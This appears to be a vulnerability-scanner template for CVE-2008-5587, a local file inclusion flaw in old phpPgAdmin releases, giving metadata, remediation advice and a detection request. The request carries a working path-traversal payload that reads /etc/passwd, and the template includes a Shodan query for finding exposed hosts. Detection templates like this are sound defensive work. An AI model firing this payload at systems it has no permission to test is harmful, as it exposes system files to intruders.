id: CVE-2008-5587
info:
name: phpPgAdmin <=4.2.1 - Local File Inclusion
author: dhiyaneshDK
severity: medium
description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
remediation: |
Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/7363
- https://nvd.nist.gov/vuln/detail/CVE-2008-5587
- http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00002.html
- http://lists.opensuse.org/opensuse-updates/2012-04/msg00033.html
- http://securityreason.com/securityalert/4737
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2008-5587
cwe-id: CWE-22
epss-score: 0.02331
epss-percentile: 0.88568
cpe: cpe:2.3:a:phppgadmin:phppgadmin:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: phppgadmin
product: phppgadmin
shodan-query: http.title:"phpPgAdmin"
tags: cve,cve2008,lfi,phppgadmin,edb
http:
- method: GET
path:
- '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
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